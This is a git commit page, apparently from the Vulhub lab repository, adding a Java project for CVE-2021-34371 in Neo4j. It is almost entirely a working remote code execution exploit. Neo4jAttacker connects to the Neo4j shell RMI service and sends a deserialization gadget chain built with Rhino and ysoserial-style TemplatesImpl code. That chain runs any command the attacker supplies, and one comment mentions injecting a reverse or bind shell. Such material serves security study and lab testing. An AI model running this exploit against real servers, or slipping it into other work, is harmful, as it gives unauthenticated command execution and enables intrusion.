first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
2
neo4j/CVE-2021-34371/rhino_gadget/.gitignore
vendored
Normal file
2
neo4j/CVE-2021-34371/rhino_gadget/.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
/target/
|
||||
/.idea/
|
63
neo4j/CVE-2021-34371/rhino_gadget/pom.xml
Normal file
63
neo4j/CVE-2021-34371/rhino_gadget/pom.xml
Normal file
@@ -0,0 +1,63 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>com.tint0.rhino</groupId>
|
||||
<artifactId>rhino_gadget</artifactId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
|
||||
<properties>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
<maven.compiler.source>1.7</maven.compiler.source>
|
||||
<maven.compiler.target>1.7</maven.compiler.target>
|
||||
</properties>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.mozilla</groupId>
|
||||
<artifactId>rhino</artifactId>
|
||||
<version>1.7.9</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/org.neo4j/neo4j-shell -->
|
||||
<dependency>
|
||||
<groupId>org.neo4j</groupId>
|
||||
<artifactId>neo4j-shell</artifactId>
|
||||
<version>3.4.18</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.javassist</groupId>
|
||||
<artifactId>javassist</artifactId>
|
||||
<version>3.18.0-GA</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<configuration>
|
||||
<finalName>${project.artifactId}-${project.version}-fatjar</finalName>
|
||||
<appendAssemblyId>false</appendAssemblyId>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>Neo4jAttacker</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
</configuration>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>make-assembly</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
2
neo4j/CVE-2021-34371/rhino_gadget/rhino.iml
Normal file
2
neo4j/CVE-2021-34371/rhino_gadget/rhino.iml
Normal file
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4" />
|
@@ -0,0 +1,62 @@
|
||||
import java.io.Serializable;
|
||||
import java.rmi.Naming;
|
||||
import sun.rmi.registry.RegistryImpl_Stub;
|
||||
import org.neo4j.shell.ShellServer;
|
||||
|
||||
public class Neo4jAttacker {
|
||||
public static String TARGET_BINDING = "shell";
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length != 2) {
|
||||
System.out.println("Usage: java -jar Neo4jAttacker.jar [target] [command]" +
|
||||
"\nExample: java -jar Neo4jAttacker.jar rmi://127.0.0.1:1337 \"touch /tmp/success\"");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
boolean validBinding = checkBinding(TARGET_BINDING, args[0]);
|
||||
if (!validBinding)
|
||||
{
|
||||
System.out.println("[-] No valid binding found, shell server may not be listening. Exiting");
|
||||
System.exit(2);
|
||||
}
|
||||
|
||||
System.out.println("[+] Found valid binding, proceeding to exploit");
|
||||
ShellServer server = (ShellServer) Naming.lookup(args[0] + "/" + TARGET_BINDING);
|
||||
|
||||
Object payload = Payload.getObject(args[1]);
|
||||
|
||||
//Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing off
|
||||
try {
|
||||
server.setSessionVariable(newClientId(), "anything_here", payload);
|
||||
}
|
||||
catch (Exception UnmarshalException ) {
|
||||
System.out.println("[+] Caught an unmarshalled exception, this is expected.");
|
||||
System.out.println(UnmarshalException.getMessage());
|
||||
}
|
||||
System.out.println("[+] Exploit completed");
|
||||
}
|
||||
|
||||
public static boolean checkBinding(String bindingToCheck, String targetToCheck) {
|
||||
|
||||
System.out.println("Trying to enumerate server bindings: ");
|
||||
try {
|
||||
RegistryImpl_Stub stub = (RegistryImpl_Stub) Naming.lookup(targetToCheck);
|
||||
|
||||
for (String element : stub.list()) {
|
||||
System.out.println("Found binding: " + element);
|
||||
if (element.equalsIgnoreCase(bindingToCheck))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Serializable newClientId() {
|
||||
return Integer.valueOf(1);
|
||||
}
|
||||
}
|
67
neo4j/CVE-2021-34371/rhino_gadget/src/main/java/Payload.java
Normal file
67
neo4j/CVE-2021-34371/rhino_gadget/src/main/java/Payload.java
Normal file
@@ -0,0 +1,67 @@
|
||||
import Utils.Gadgets;
|
||||
import Utils.Reflections;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public class Payload {
|
||||
public static Object getObject( String command) throws Exception {
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
new Class[] {Method.class},
|
||||
new Object[] {Context.class.getMethod("enter")});
|
||||
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("getSlot", Context.class, Object.class,
|
||||
Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
|
||||
makeSlot.setAccessible(true);
|
||||
Object enumMakeGetter = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY_GETTER_SETTER").get(null);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, null, "foo", enumMakeGetter);
|
||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
Object enumMakeSlot = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY").get(null);
|
||||
makeSlot.invoke(scriptableObject, null, "outputProperties", enumMakeSlot);
|
||||
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
|
||||
return nativeJavaObject;
|
||||
}
|
||||
|
||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||
out.writeObject("java.lang.Object");
|
||||
out.writeObject(new String[0]);
|
||||
out.writeObject(javaObject);
|
||||
}
|
||||
}
|
@@ -0,0 +1,44 @@
|
||||
package Utils;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
public class ClassFiles {
|
||||
public static String classAsFile(final Class<?> clazz) {
|
||||
return classAsFile(clazz, true);
|
||||
}
|
||||
|
||||
public static String classAsFile(final Class<?> clazz, boolean suffix) {
|
||||
String str;
|
||||
if (clazz.getEnclosingClass() == null) {
|
||||
str = clazz.getName().replace(".", "/");
|
||||
} else {
|
||||
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
|
||||
}
|
||||
if (suffix) {
|
||||
str += ".class";
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
public static byte[] classAsBytes(final Class<?> clazz) {
|
||||
try {
|
||||
final byte[] buffer = new byte[1024];
|
||||
final String file = classAsFile(clazz);
|
||||
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
||||
if (in == null) {
|
||||
throw new IOException("couldn't find '" + file + "'");
|
||||
}
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = in.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, len);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@@ -0,0 +1,154 @@
|
||||
package Utils;
|
||||
|
||||
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||
|
||||
|
||||
/*
|
||||
* utility generator functions for common jdk-only gadgets
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction", "rawtypes", "unchecked"
|
||||
} )
|
||||
public class Gadgets {
|
||||
|
||||
static {
|
||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||
|
||||
// for RMI remote loading
|
||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
}
|
||||
|
||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
|
||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = -5971610431559700674L;
|
||||
|
||||
|
||||
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
|
||||
|
||||
|
||||
@Override
|
||||
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
|
||||
}
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
public static class Foo implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 8207363842866235160L;
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
|
||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||
}
|
||||
|
||||
|
||||
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
|
||||
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
|
||||
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||
allIfaces[ 0 ] = iface;
|
||||
if ( ifaces.length > 0 ) {
|
||||
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||
}
|
||||
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
|
||||
}
|
||||
|
||||
|
||||
public static Map<String, Object> createMap ( final String key, final Object val ) {
|
||||
final Map<String, Object> map = new HashMap<String, Object>();
|
||||
map.put(key, val);
|
||||
return map;
|
||||
}
|
||||
|
||||
|
||||
public static Object createTemplatesImpl ( final String command ) throws Exception {
|
||||
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
|
||||
return createTemplatesImpl(
|
||||
command,
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
|
||||
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
|
||||
}
|
||||
|
||||
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
|
||||
throws Exception {
|
||||
final T templates = tplClass.newInstance();
|
||||
|
||||
// use template gadget class
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
||||
pool.insertClassPath(new ClassClassPath(abstTranslet));
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
CtClass superC = pool.get(abstTranslet.getName());
|
||||
clazz.setSuperclass(superC);
|
||||
|
||||
final byte[] classBytes = clazz.toBytecode();
|
||||
|
||||
// inject class bytes into instance
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||
classBytes, ClassFiles.classAsBytes(Foo.class)
|
||||
});
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
|
||||
return templates;
|
||||
}
|
||||
|
||||
|
||||
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, InvocationTargetException {
|
||||
HashMap s = new HashMap();
|
||||
Reflections.setFieldValue(s, "size", 2);
|
||||
Class nodeC;
|
||||
try {
|
||||
nodeC = Class.forName("java.util.HashMap$Node");
|
||||
}
|
||||
catch ( ClassNotFoundException e ) {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||
nodeCons.setAccessible(true);
|
||||
|
||||
Object tbl = Array.newInstance(nodeC, 2);
|
||||
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
|
||||
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
|
||||
Reflections.setFieldValue(s, "table", tbl);
|
||||
return s;
|
||||
}
|
||||
}
|
@@ -0,0 +1,60 @@
|
||||
package Utils;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
@SuppressWarnings ( "restriction" )
|
||||
public class Reflections {
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
}
|
||||
catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null)
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Constructor<?> getFirstCtor(final String name) throws Exception {
|
||||
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
|
||||
ctor.setAccessible(true);
|
||||
return ctor;
|
||||
}
|
||||
|
||||
public static Object newInstance(String className, Object ... args) throws Exception {
|
||||
return getFirstCtor(className).newInstance(args);
|
||||
}
|
||||
|
||||
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||
objCons.setAccessible(true);
|
||||
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||
sc.setAccessible(true);
|
||||
return (T)sc.newInstance(consArgs);
|
||||
}
|
||||
|
||||
}
|
Reference in New Issue
Block a user